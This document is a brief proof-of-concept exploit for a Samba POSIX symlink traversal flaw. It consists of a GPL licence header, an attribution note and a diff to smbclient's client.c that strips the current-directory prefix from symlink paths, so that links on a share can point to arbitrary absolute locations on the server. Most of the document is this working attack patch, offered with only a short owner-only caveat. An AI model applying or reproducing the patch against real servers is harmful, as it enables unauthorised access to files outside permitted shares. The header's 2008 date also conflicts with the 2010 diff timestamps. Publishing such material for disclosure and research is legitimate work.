This patch is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA (c) Tim Brown, 2008 / PoC exploit for kingcope's Samba POSIX symlinks abuse. It is based on the video made available at: http://www.youtube.com/watch?v=NN50RtZ2N74&aia=true It uses Samba's smbclient as the transport. This patch modifies the symlink command so that the current directory isn't sent. It should obviously only be used on systems that you own, please don't abuse. --- samba-3.5.0~rc2~dfsg/source3/client/client.c 2010-01-26 14:05:01.000000000 +0000 +++ samba-3.5.0~rc2~dfsg-pwned/source3/client/client.c 2010-02-05 14:44:47.000000000 +0000 @@ -2786,15 +2786,13 @@ return 1; } oldname = talloc_asprintf(ctx, - "%s%s", - client_get_cur_dir(), + "%s", buf); if (!oldname) { return 1; } newname = talloc_asprintf(ctx, - "%s%s", - client_get_cur_dir(), + "%s", buf2); if (!newname) { return 1;